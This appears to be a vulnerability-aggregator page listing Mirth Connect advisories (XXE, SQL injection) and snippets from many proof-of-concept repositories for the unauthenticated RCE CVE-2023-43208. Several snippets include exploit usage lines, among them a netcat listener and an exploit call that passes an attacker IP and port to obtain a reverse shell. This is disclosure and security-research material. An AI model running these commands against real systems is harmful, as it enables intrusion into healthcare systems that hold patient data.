CVE-2026-82578 NextGen Healthcare Mirth Connect Improper Restriction of XML External Entity Reference

When XML batch processing is turned on and the XPath option is selected, the raw batch input goes through a default XPath/JAXP setup with no entity restrictions, so XXE injection can allow data exfiltration and denial-of-service attacks...

CVE-2026-82578

NextGen Healthcare Mirth Connect is affected by an XXE injection vulnerability in its XML batch processing feature. When the XPath option is selected, raw batch input is processed through a default XPath/JAXP parser with no entity restrictions , allowing an unauthenticated, network-based attacker...

CVE-2026-78224

NextGen Healthcare Mirth Connect is affected by an XXE injection vulnerability in the XSLT Transformer Step , which builds a bare TransformerFactory without proper security options set. This allows an unauthenticated network-based attacker to achieve high confidentiality impact (data exfiltration...

CVE-2026-78224 NextGen Healthcare Mirth Connect Improper Restriction of XML External Entity Reference

The XSLT Transformer Step builds a bare TransformerFactory without the proper security options set, so XXE injection can allow data exfiltration and denial-of-service attacks...

CVE-2026-82583

NextGen Connect (Mirth Connect) versions 4.7.1 and earlier are affected by a SQL injection vulnerability exploitable through the Database Connector API by an authenticated user with low privileges. The flaw can lead to disclosure of stored credentials for connected systems, arbitrary file write ,...

EUVD-2026-76115

NextGen Connect Mirth Connect versions 4.7.1 and earlier allow an authenticated user to execute arbitrary SQL through a Database Connector API, which could result in disclosure of stored credentials for connected systems, arbitrary file write, and a denial-of-service condition...

CVE-2026-82583 NextGen Healthcare Mirth Connect SQL Injection

NextGen Connect Mirth Connect versions 4.7.1 and earlier allow an authenticated user to execute arbitrary SQL through a Database Connector API, which could result in disclosure of stored credentials for connected systems, arbitrary file write, and a denial-of-service condition...

PT-2026-89878

NextGen Connect Mirth Connect versions 4.7.1 and earlier allow an authenticated user to execute arbitrary SQL through a Database Connector API, which could result in disclosure of stored credentials for connected systems, arbitrary file write, and a denial-of-service condition...

CVE-2023-43208-mirth-connect-rce-poc

Mirth Connect 中的 RCE 漏洞（CVE-2023-37679 和 CVE-2023-43208） 此漏洞利用脚本和 PoC 是为在 vsociety 上进行深入的 CVE 分析而编写的。 CVE-2023-43208 是 NextGen Mirth Connect 中的一个严重安全漏洞，Mirth Connect 是医院和诊所用于共享患者数据的工具。该漏洞使攻击者无需密码即可入侵系统。由于 Mirth Connect 在医疗保健领域被广泛使用，迅速修复该漏洞对于保护患者信息至关重要。 该漏洞是在早前的问题 CVE-2023-37679...

PoC-2023-43208

CVE-2023-43208-EXPLOIT Mirth Connect 远程代码执行（RCE）漏洞利用 ⚠️ 仅供教育与实验室使用 ⚠️ 针对 CVE-2023-43208 的概念验证（PoC）漏洞利用程序，该漏洞是 Mirth Connect 4.4.1 之前版本中的一个远程代码执行漏洞。 🚨 重要法律声明 此工具严格仅用于： 🧪 教育目的 🔬 实验室环境中的授权安全测试 📚 网络安全研究与学习 请勿用于： ❌ 未经授权针对您不拥有的系统 ❌ 未获得明确书面许可 ❌ 生产环境 ❌ 非法或恶意目的 您有责任遵守所有适用的法律法规。滥用此工具可能导致刑事指控。 📋 描述 此漏洞利用程序针对...

CVE-2023-43208

CVE-2023-43208 — Mirth Connect 事前認証RCE NextGen Healthcare Mirth Connect CVSS 9.8 Critical — CVE-2023-37679 のパッチバイパス 概要 Mirth Connect は、Java XStream ライブラリを使用して /api/users エンドポイントで 認証なしで XML ペイロードをデシリアライズします。当初の修正 CVE-2023-37679 では危険なクラスの拒否リストが導入されましたが、Apache Commons Lang3 の...

CVE-2023-43208

CVE-2023-43208 — Mirth Connect RCE CVE-2023-43208 のProof-of-Conceptエクスプロイトです。これは、Mirth Connect のバージョン 4.4.1 未満における、認証不要のリモートコード実行（RCE）脆弱性です。 説明 Mirth Connectは広く使われているオープンソースのヘルスケア統合エンジンです。この脆弱性は、Apache Commons Collectionsのガジェットをチェーン化した細工されたXMLペイロードを使用して、/api/users...

Mirth-Connect-CVE-2023-43208

CVE-2023-43208：NextGen Mirth Connect 中的未认证远程代码执行（RCE） 该漏洞利用工具利用了 Mirth Connect 的 XStream 引擎中的一个严重反序列化漏洞。它源于 CVE-2023-37679 的不完整补丁，可在所有 4.4.1 之前的版本中实现未认证的任意代码执行。 使用方法 root@kitploit: python3 mirthrce.py https://target 免责声明 此漏洞利用脚本严格用于教育目的和经授权的安全审计，以帮助防御者缓解...

CVE-2023-43208

CVE-2023-43208 Mirth Connect 远程代码执行概念验证 针对 Mirth Connect 中 CVE-2023-43208 的概念验证 Python 脚本。 免责声明 仅限在您拥有或明确授权测试的环境中使用。此仓库用于安全研究、验证和防御性测试。作者不对因使用此工具造成的任何误用或损害承担责任。 概述 exp.py 是 PoC 的一个最小依赖版本，它能够： 检测目标是否看起来是 Mirth Connect 实例 通过 /api/server/version 请求 Mirth Connect 版本 检查版本是否低于 4.4.1 如果目标看似存在漏洞，则向...

CVE-2023-43208-EXPLOIT

CVE-2023-43208 - Mirth Connect 远程代码执行 RCE 漏洞利用 🚨 简介 📖 本仓库包含针对 NextGen Healthcare Mirth Connect 4.4.1 之前版本中一个严重漏洞的 PoC 利用代码。该漏洞编号为 CVE-2023-43208，允许攻击者在运行受影响软件版本的系统上实现未经身份验证的远程代码执行 RCE。 Mirth Connect 是一个开源的医疗集成引擎，未能正确处理反序列化数据，使其易受通过特制 HTTP 请求执行任意操作系统命令的攻击。该漏洞是在对 CVE-2023-37679（最初由 IHTeam...

CVE-2023-43208

RCE 漏洞存在于 Mirth Connect 中（CVE-2023-37679 和 CVE-2023-43208） 此漏洞利用脚本和 PoC 是为 vsociety 上的深入 CVE 分析而编写。CVE-2023-43208 是 NextGen Mirth Connect 中的一个严重安全漏洞，该工具被医院和诊所用于共享患者数据。此漏洞使黑客无需密码即可入侵系统。由于 Mirth Connect 在医疗保健领域被广泛使用，尽快修复此漏洞对于保护患者信息至关重要。 该漏洞是在之前的一个问题 CVE-2023-37679 本应被修复之后才被曝光的。然而，修复并不充分，进而导致了...

CVE-2023-43208-PoC

Mirth Connect RCE Exploit CVE-2023-43208 Este script es una Prueba de Concepto PoC para la vulnerabilidad de Ejecución Remota de Código RCE en Mirth Connect versiones anteriores a la 4.4.1. Explota una vulnerabilidad de deserialización de XStream a través de la API. Requisitos Python 3.10 o...

CVE-2023-43208-PoC

CVE-2023-43208 - Mirth Connect 未认证远程代码执行 要求 Python 3.11 或更高版本（已在 3.11、3.12、3.13 上测试） 安装 root@kitploit: Create a clean virtual environment python3 -m venv .venv source .venv/bin/activate Install pinned dependencies pip install -r requirements.txt 用法 root@kitploit: Check version only python3...

CVE-2023-43208

Mirth Connect RCE - CVE-2023-43208 描述 适用于 Mirth Connect 远程代码执行 RCE 的 PoC 影响 Mirth Connect 示例 启动监听器 root@kitploit: nc -lvnp 4444 运行漏洞利用程序 root@kitploit: ./exploit https://target.com 10.10.10.10 4444 参考链接 https://nvd.nist.gov/vuln/detail/CVE-2023-43208 https://github.com/advisories/GHSA-pj5c-qr29-6...

cve-2023-43208-poc

Script PoC de Mirth Connect Script simple en Python para investigación de seguridad relacionada con vulnerabilidades de Mirth Connect. Importante Use este proyecto solo en sistemas que posea o para los que tenga permiso explícito por escrito para realizar pruebas. Las pruebas no autorizadas son...